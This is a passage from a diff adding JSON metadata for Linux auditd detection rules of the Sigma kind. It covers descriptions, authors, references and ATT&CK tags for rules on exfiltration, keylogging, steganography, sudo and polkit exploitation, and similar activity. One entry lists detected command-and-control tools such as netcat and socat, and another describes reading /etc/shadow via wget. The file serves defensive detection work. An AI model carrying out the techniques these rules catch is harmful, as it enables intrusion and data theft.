the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/10/01", + "falsepositive": [ + "Legitimate usage of xclip tools" + ], + "filename": "lnx_auditd_clipboard_image_collection.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1115/", + "https://linux.die.net/man/1/xclip", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ] + }, + "uuid": "f200dc3f-b219-425d-a17e-c38467364816", + "value": "Clipboard Collection of Image Data with Xclip Tool" + }, + { + "description": "Detects command line parameter very often used with coin miners", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/10/09", + "falsepositive": [ + "Other tools that use a --cpu-priority flag" + ], + "filename": "lnx_auditd_coinminer.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://xmrig.com/docs/miner/command-line-options", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "uuid": "071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed", + "value": "Possible Coin Miner CPU Priority Param" + }, + { + "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", + "meta": { + "author": "Marie Euler", + "creation_date": "2020/05/18", + "falsepositive": [ + "Admin activity" + ], + "filename": "lnx_auditd_create_account.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "MITRE Attack technique T1136; Create Account ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml" + ], + "tags": [ + "attack.t1136.001", + "attack.persistence" + ] + }, + "uuid": "759d0d51-bc99-4b5e-9add-8f5b2c8e7512", + "value": "Creation Of An User Account" + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing\nrequired to trigger the heap-based buffer overflow.\n", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/02/01", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "cve.2021.3156" + ] + }, + "uuid": "5ee37487-4eb8-4ac2-9be1-d7d14cdc559f", + "value": "CVE-2021-3156 Exploitation Attempt" + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing.\nrequired to trigger the heap-based buffer overflow.\n", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/02/01", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "cve.2021.3156" + ] + }, + "uuid": "b9748c98-9ea7-4fdb-80b6-29bed6ba71d2", + "value": "CVE-2021-3156 Exploitation Attempt" + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-4034.", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2022/01/27", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_cve_2021_4034.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/berdav/CVE-2021-4034", + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034", + "https://access.redhat.com/security/cve/CVE-2021-4034", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_4034.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ] + }, + "uuid": "40a016ab-4f48-4eee-adde-bbf612695c53", + "value": "CVE-2021-4034 Exploitation Attempt" + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Legitimate use of archiving tools by legitimate user." + ], + "filename": "lnx_auditd_data_compressed.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1560.001" + ] + }, + "uuid": "a3b5e3e9-1b49-4119-8b8e-0344a01f21ee", + "value": "Data Compressed" + }, + { + "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/11/18", + "falsepositive": [ + "Legitimate usage of wget utility to post a file" + ], + "filename": "lnx_auditd_data_exfil_wget.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/tactics/TA0010/", + "https://linux.die.net/man/1/wget", + "https://gtfobins.github.io/gtfobins/wget/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "cb39d16b-b3b6-4a7a-8222-1cf24b686ffc", + "value": "Data Exfiltration with Wget" + }, + { + "description": "Detects overwriting (effectively wiping/deleting) of a file.", + "meta": { + "author": "Jakob Weinzettl, oscd.community", + "creation_date": "2019/10/23", + "falsepositive": [ + "Appending null bytes to files.", + "Legitimate overwrite of files." + ], + "filename": "lnx_auditd_dd_delete_file.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ] + }, + "uuid": "37222991-11e9-4b6d-8bdf-60fbe48f753e", + "value": "Overwriting the File with Dev Zero or Null" + }, + { + "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2022/01/22", + "falsepositive": [ + "Admin activity" + ], + "filename": "lnx_auditd_disable_system_firewall.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", + "https://attack.mitre.org/techniques/T1562/004/", + "https://firewalld.org/documentation/man-pages/firewall-cmd.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml" + ], + "tags": [ + "attack.t1562.004", + "attack.defense_evasion" + ] + }, + "uuid": "53059bc0-1472-438b-956a-7508a94a91f0", + "value": "Disable System Firewall" + }, + { + "description": "Detects file and folder permission changes.", + "meta": { + "author": "Jakob Weinzettl, oscd.community", + "creation_date": "2019/09/23", + "falsepositive": [ + "User interacting with files permissions (normal/daily behaviour)." + ], + "filename": "lnx_auditd_file_or_folder_permissions.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ] + }, + "uuid": "74c01ace-0152-4094-8ae2-6fd776dd43e5", + "value": "File or Folder Permissions Change" + }, + { + "description": "Detecting attempts to extract passwords with grep", + "meta": { + "author": "Igor Fits, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_find_cred_in_files.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_find_cred_in_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ] + }, + "uuid": "df3fcaea-2715-4214-99c5-0056ea59eb35", + "value": "Credentials In Files" + }, + { + "description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/06", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_hidden_files_directories.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", + "https://attack.mitre.org/techniques/T1564/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ] + }, + "uuid": "d08722cd-3d09-449a-80b4-83ea2d9d4616", + "value": "Hidden Files and Directories" + }, + { + "description": "Detects appending of zip file to image", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/09", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_hidden_zip_files_steganography.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ] + }, + "uuid": "45810b50-7edc-42ca-813b-bdac02fb946b", + "value": "Steganography Hide Zip Information in Picture File" + }, + { + "description": "Detect attempt to enable auditing of TTY input", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/05/24", + "falsepositive": [ + "Administrative work" + ], + "filename": "lnx_auditd_keylogging_with_pam_d.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md", + "https://attack.mitre.org/techniques/T1003/", + "https://linux.die.net/man/8/pam_tty_audit", + "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing", + "https://access.redhat.com/articles/4409591#audit-record-types-2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1056.001" + ] + }, + "uuid": "49aae26c-450e-448b-911d-b3c13d178dfc", + "value": "Linux Keylogging with Pam.d" + }, + { + "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_ld_so_preload_mod.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", + "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.006" + ] + }, + "uuid": "4b3cb710-5e83-4715-8c45-8b2b5b3e5751", + "value": "Modification of ld.so.preload" + }, + { + "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/11/02", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_load_module_insmod.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1547/006/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", + "https://linux.die.net/man/8/insmod", + "https://man7.org/linux/man-pages/man8/kmod.8.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1547.006" + ] + }, + "uuid": "106d7cbd-80ff-4985-b682-a7043e5acb72", + "value": "Loading of Kernel Module via Insmod" + }, + { + "description": "Detect changes of syslog daemons configuration files", + "meta": { + "author": "Mikhail Larin, oscd.community", + "creation_date": "2019/10/25", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "lnx_auditd_logging_config_change.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "self experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.006" + ] + }, + "uuid": "c830f15d-6f6e-430f-8074-6f73d6807841", + "value": "Logging Configuration Changes on Linux Host" + }, + { + "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": "No established falsepositives", + "filename": "lnx_auditd_masquerading_crond.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_masquerading_crond.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.003" + ] + }, + "uuid": "9d4548fa-bba0-4e88-bd66-5d5bf516cda0", + "value": "Masquerading as Linux Crond Process" + }, + { + "description": "Detects enumeration of local or remote network services.", + "meta": { + "author": "Alejandro Ortuno, oscd.community", + "creation_date": "2020/10/21", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "lnx_auditd_network_service_scanning.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ] + }, + "uuid": "3761e026-f259-44e6-8826-719ed8079408", + "value": "Linux Network Service Scanning" + }, + { + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2019/10/21", + "falsepositive": [ + "Legitimate administrator or user uses network sniffing tool for legitimate reasons." + ], + "filename": "lnx_auditd_network_sniffing.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml" + ], + "tags": [ + "attack.credential_access", + "attack.discovery", + "attack.t1040" + ] + }, + "uuid": "f4d3748a-65d1-4806-bd23-e25728081d01", + "value": "Network Sniffing" + }, + { + "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\nMicrosoft Azure, and Microsoft Operations Management Suite.\n", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2021/09/17", + "falsepositive": [ + "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." + ], + "filename": "lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", + "https://github.com/Azure/Azure-Sentinel/pull/3059", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.initial_access", + "attack.execution", + "attack.t1068", + "attack.t1190", + "attack.t1203" + ] + }, + "uuid": "045b5f9c-49f7-4419-a236-9854fb3c827a", + "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand" + }, + { + "description": "Detects password policy discovery commands", + "meta": { + "author": "Ömer Günal, oscd.community, Pawel Mazur", + "creation_date": "2020/10/08", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "lnx_auditd_password_policy_discovery.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md", + "https://attack.mitre.org/techniques/T1201/", + "https://linux.die.net/man/1/chage", + "https://man7.org/linux/man-pages/man1/passwd.1.html", + "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1201" + ] + }, + "uuid": "ca94a6db-8106-4737-9ed2-3e3bb826af0a", + "value": "Password Policy Discovery" + }, + { + "description": "Detects a reload or a start of a service.", + "meta": { + "author": "Jakob Weinzettl, oscd.community", + "creation_date": "2019/09/23", + "falsepositive": [ + "Installation of legitimate service.", + "Legitimate reconfiguration of service." + ], + "filename": "lnx_auditd_pers_systemd_reload.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1543/002/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.002" + ] + }, + "uuid": "2625cc59-0634-40d0-821e-cb67382a3dd7", + "value": "Systemd Service Reload or Start" + }, + { + "description": "Detects adversary creating screen capture of a desktop with Import Tool.\nHighly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\nImageMagick must be installed.\n", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/21", + "falsepositive": [ + "Legitimate use of screenshot utility" + ], + "filename": "lnx_auditd_screencapture_import.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://attack.mitre.org/techniques/T1113/", + "https://linux.die.net/man/1/import", + "https://imagemagick.org/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ] + }, + "uuid": "dbe4b9c5-c254-4258-9688-d6af0b7967fd", + "value": "Screen Capture with Import Tool" + }, + { + "description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/13", + "falsepositive": [ + "Legitimate use of screenshot utility" + ], + "filename": "lnx_auditd_screencaputre_xwd.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture", + "https://attack.mitre.org/techniques/T1113/", + "https://linux.die.net/man/1/xwd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ] + }, + "uuid": "e2f17c5d-b02a-442b-9052-6eb89c9fec9c", + "value": "Screen Capture with Xwd" + }, + { + "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", + "meta": { + "author": "Igor Fits, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "lnx_auditd_split_file_into_pieces.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1030" + ] + }, + "uuid": "2dad0cba-c62a-4a4f-949f-5f6ecd619769", + "value": "Split A File Into Pieces" + }, + { + "description": "Detects embeding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/11", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_steghide_embed_steganography.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ] + }, + "uuid": "ce446a9e-30b9-4483-8e38-d2c9ad0a2280", + "value": "Steganography Hide Files with Steghide" + }, + { + "description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/11", + "falsepositive": [ + "Unknown" + ], + "filename": "lnx_auditd_steghide_extract_steganography.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1027/003/", + "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.003" + ] + }, + "uuid": "a5a827d9-1bbe-4952-9293-c59d897eb41b", + "value": "Steganography Extract Files with Steghide" + }, + { + "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n", + "meta": { + "author": "Marie Euler", + "creation_date": "2020/05/18", + "falsepositive": [ + "Admin or User activity" + ], + "filename": "lnx_auditd_susp_c2_commands.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/Neo23x0/auditd", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml" + ], + "tags": [ + "attack.command_and_control" + ] + }, + "uuid": "f7158a64-6204-4d6d-868a-6e6378b467e0", + "value": "Suspicious C2 Activities" + }, + { + "description": "Detects relevant commands often related to malware or hacking activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/12/12", + "falsepositive": [ + "Admin activity" + ], + "filename": "lnx_auditd_susp_cmds.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "Internal Research - mostly derived from exploit code including code in MSF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.004" + ] + }, + "uuid": "1543ae20-cbdf-4ec1-8d12-7664d667a825", + "value": "Suspicious Commands Linux" + }, + { + "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/01/23", + "falsepositive": [ + "Admin activity (especially in /tmp folders)", + "Crazy web applications" + ], + "filename": "lnx_auditd_susp_exe_folders.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml" + ], + "tags": [ + "attack.t1587", + "attack.t1584", + "attack.resource_development" + ] + }, + "uuid": "a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc", + "value": "Program Executions in Suspicious Folders" + }, + { + "description": "Detects commandline operations on shell history files", + "meta": { + "author": "Mikhail Larin, oscd.community", + "creation_date": "2020/10/17", + "falsepositive": [ + "Legitimate administrative activity", + "Legitimate software, cleaning hist file" + ], + "filename": "lnx_auditd_susp_histfile_operations.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ] + }, + "uuid": "eae8ce9f-bde9-47a6-8e79-f20d18419910", + "value": "Suspicious History File Operations" + }, + { + "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2022/02/03", + "falsepositive": [ + "Admin work like legit service installs." + ], + "filename": "lnx_auditd_systemd_service_creation.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1543/002/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1543.002" + ] + }, + "uuid": "1bac86ba-41aa-4f62-9d6b-405eac99b485", + "value": "Systemd Service Creation" + }, + { + "description": "Detects System Information Discovery commands", + "meta": { + "author": "Pawel Mazur", + "creation_date": "2021/09/03", + "falsepositive": [ + "Legitimate administrative activity" + ], + "filename": "lnx_auditd_system_info_discovery.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://attack.mitre.org/techniques/T1082/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ] + }, + "uuid": "f34047d9-20d3-4e8b-8672-0a35cc50dc71", + "value": "System Information Discovery" + }, + { + "description": "Detects system information discovery commands", + "meta": { + "author": "Ömer Günal, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "lnx_auditd_system_info_discovery2.yml", + "level": "informational", + "logsource.category": "No established category", + "logsource.product": "linux", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ] + }, + "uuid": "1f358e2e-cb63-43c3-b575-dfb072a6814f", + "value": "System Information Discovery" + }, + { + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, 